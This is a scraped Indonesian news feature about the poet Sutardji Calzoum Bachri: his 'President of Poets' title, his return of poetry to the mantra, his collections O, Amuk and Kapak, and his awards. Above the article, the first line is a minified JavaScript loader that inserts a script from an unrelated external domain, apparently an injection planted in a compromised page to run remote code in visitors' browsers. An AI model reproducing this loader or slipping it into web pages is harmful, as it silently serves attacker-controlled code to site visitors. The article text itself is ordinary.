(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kopi Sastra

Di Antara Mantra dan Kapak, Jejak Sang Presiden Abadi di Jagad Puisi


KANALKALIMANTAN.COM, BANJARBARU – Di politik, seorang presiden bisa dijatuhkan atau berganti dalam putaran waktu lima tahunan. Tapi, tidak berlaku di dunia puisi!

Jagad puisi punya ‘konstitusinya’ sendiri yang mengangkat seorang Sutardji Calzoum Bachri sebagai Presiden Penyair sepanjang waktu. Tentu saja itu bukan tanpa alasan. Selain karena kemampuan berfikir, bersyair, konsistensi, perjuangan, dan kedalaman perenungan, juga karena belum ada (mampu) para penyair di Indonesia menduduki ‘maqom’ ruhani seorang Sutardji.

Pria kelahiran kelahiran Indragiri Hulu, 24 Juni 1941 ini, telah menyelamatkan kesusastraan Indonesia dari belenggu penjajahan kesusastraan Barat melalui tangan-tangan sastrawan yang anak bangsa Indonesia sendiri, yang disebut para penyair modern Indonesia.

Sutardji lah, yang berjuang puluhan tahun menyelamatkan struktur, tema, sikap, dan visi kepengarangan. Ia memulai perjuangan perlawanan itu dengan membacakan sajak-sajaknya di Taman Ismail Marzuki (TIM), Jakarta.

 

Sutardji saat membacakan puisinya

Baca juga :

 

Sungguh, pembacaan sajak-sajak Sutardji di TIM itu amat menggemparkan jagat perpuisian. Tak hanya di Indonesia, tapi juga ASEAN. Orang pun menjadi sadar, bahwa inilah sejatinya puisi Indonesia. Pada 1973 terbit buku puisi “O”, “Amuk” pada 1977, dan “Kapak” pada 1981.

Dari judul-judul buku kumpulan puisi itu saja, sangat jelas gerakan perlawanan dan pemerdekaan puisi Indonesia yang dilakukan Sutardji.

Menurut Abdul Malik, dalam tulisannya “Sutardji Calzoum Bachri: Sang Penjemput Marwah Kesustraan Indonesia”, Sutardji mengembalikan dengan kredonya, kesejatian puisi Indonesia—yang berakar dari puisi Melayu—harus dikembalikan kepada akarnya, yakni mantra.

“Oleh sebab itu, kata-kata yang membangun puisi harus dibebaskan dari beban makna, khasnya makna kata yang diterapkan dalam puisi-puisi penyair modern sebelum beliau, yang tiada lain adalah pengekor tradisi perpuisian Barat,” katanya.

Mantra adalah susastra pertama yang dikenal oleh manusia (Gazalba 1981; Malik 1985; Malik dkk. 1990). Di Indonesia mantra merupakan susastra yang telah ada sejak manusia nusantara purba. Mantra merupakan susastra perintis bagi cabang-cabang kesenian yang lain.

9 Pujangga yang Tak Lekang Oleh Waktu. Infografis : kanalkalimantan/andy

Mantra menghubungkan manusia dengan dunia yang penuh misteri. Oleh masyarakat nusantara, mantra digunakan untuk menghubungkan manusia dengan alam supernatural (Winick  1958; Kalisky 1968; Endicott 1981; Winstedt 1982; Malik dkk. 1990).

Oleh sebab itu, mantra dalam masyarakat lama nusantara memainkan peran yang sangat penting, terutama untuk berhubungan dengan daya-daya alam. Dalam masyarakat lama Melayu, misalnya, mantra digunakan dalam pelbagai kegiatan kehidupan mereka (lihat Malik 1985, 74—112).

Sesuai dengan fungsi utamanya sebagai penakluk, terutama penakluk daya-daya alam, mantra mengutamakan keindahan dan kehalusan.
***
Saat itu, di sebuah pentas sastra sekitar tahun 1970-an. Sutardji tampil mengenakan busana ala Presiden Soekarno. Namun, ia mengganti tongkat komando yang menjadi ciri khas proklamator itu, dengan menenteng botol bir.

Pada saat itulah, julukan ‘presiden’ kemudian melekat dengan sosoknya yang kerap disematkan media massa di depan namanya.

Baca juga :

 

Bahkan, Sutardji secara blak-blakan mengakui sempat khawatir ketika banyak surat kabar ketika itu menyebutnya dengan julukan ‘presiden’ karena pada masa itu istilah ‘presiden’ sebagai sesuatu yang tidak boleh disandang siapa pun, kecuali Presiden Soeharto.

“Saking masa itu kan banyak orang takut. Apalagi, disebut presiden meski presiden puisi. Bagi saya julukan itu hanya pemanis, tidak usah diseriuskan. Saya sendiri tak pernah mengucapkan itu lagi setelah manggung waktu itu,” katanya.

Sutardji memperlihatkan dirinya sebagai penyelamat perpuisian Indonesia. Terutama karena konsepsinya tentang kata, yang hendak dibebaskan dari kungkungan pengertian, dan dikembalikannya pada fungsi kata seperti dalam mantra. Sutardji juga memperkenalkan cara baru yang unik dan memikat dalam pembacaan puisi di Indonesia.

Dia memiliki gaya tersendiri saat membacakan puisinya. Kadang kala ia jumpalitan di atas panggung, bahkan sambil tiduran dan tengkurap. Gaya Sutardji itu memang “edan,” tetapi bermakna dalam. Ketika masih “liar,” Sutardji sering membacakan puisinya sambil minum bir.

Namun, sesudah semakin tua dan religius, kebiasaan tampil dengan bir itu tampaknya tidak berlanjut. ”Setiap orang harus membikin sidik jarinya sendiri, karakternya sendiri. Biar tak tenggelam dan bisa memberi warna,” kata Sutardji.

Sejumlah sajak Sutardji telah diterjemahkan Harry Aveling ke dalam bahasa Inggris dan diterbitkan dalam antologi Arjuna in Meditation (Calcutta, India), Writing from the World (Amerika Serikat), Westerly Review (Australia), dan dalam dua antologi berbahasa Belanda: Dichters in Rotterdam (Rotterdamse Kunststichting, 1975) dan Ik wil nog duizend jaar leven, negen moderne Indonesische dichters (1979).

Pada 1979, atas prestasinya dalam sastra, Sutardji dianugerah penghargaan South East Asia Writer Awards di Bangkok, Thailand. Ia juga meraih penghargaan Hadiah Seni (1993), Anugerah Sastra Chairil Anwar (1998), serta Anugerah Akademi Jakarta (2007).

O, Amuk, Kapak merupakan penerbitan yang lengkap atas sajak-sajak Sutardji, dari periode penulisan 1966 sampai 1979. Tiga kumpulan sajak itu mencerminkan secara jelas pembaharuan yang dilakukannya terhadap puisi Indonesia modern.(Kanalkalimantan.com/cel/berbagai sumber)

 

Editor : Cell

Desy Arfianty

Recent Posts

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

31 menit ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

2 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

2 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

6 jam ago

Melati Sekumpul Juara I Gebyar Pemberdayaan Masyarakat Desa

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More

6 jam ago

Serap Masukan Rencana Detail Tata Ruang Kertakhanyar-Gambut, PUPRP Banjar Gelar Konsultasi Publik Kedua

KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More

8 jam ago

This website uses cookies.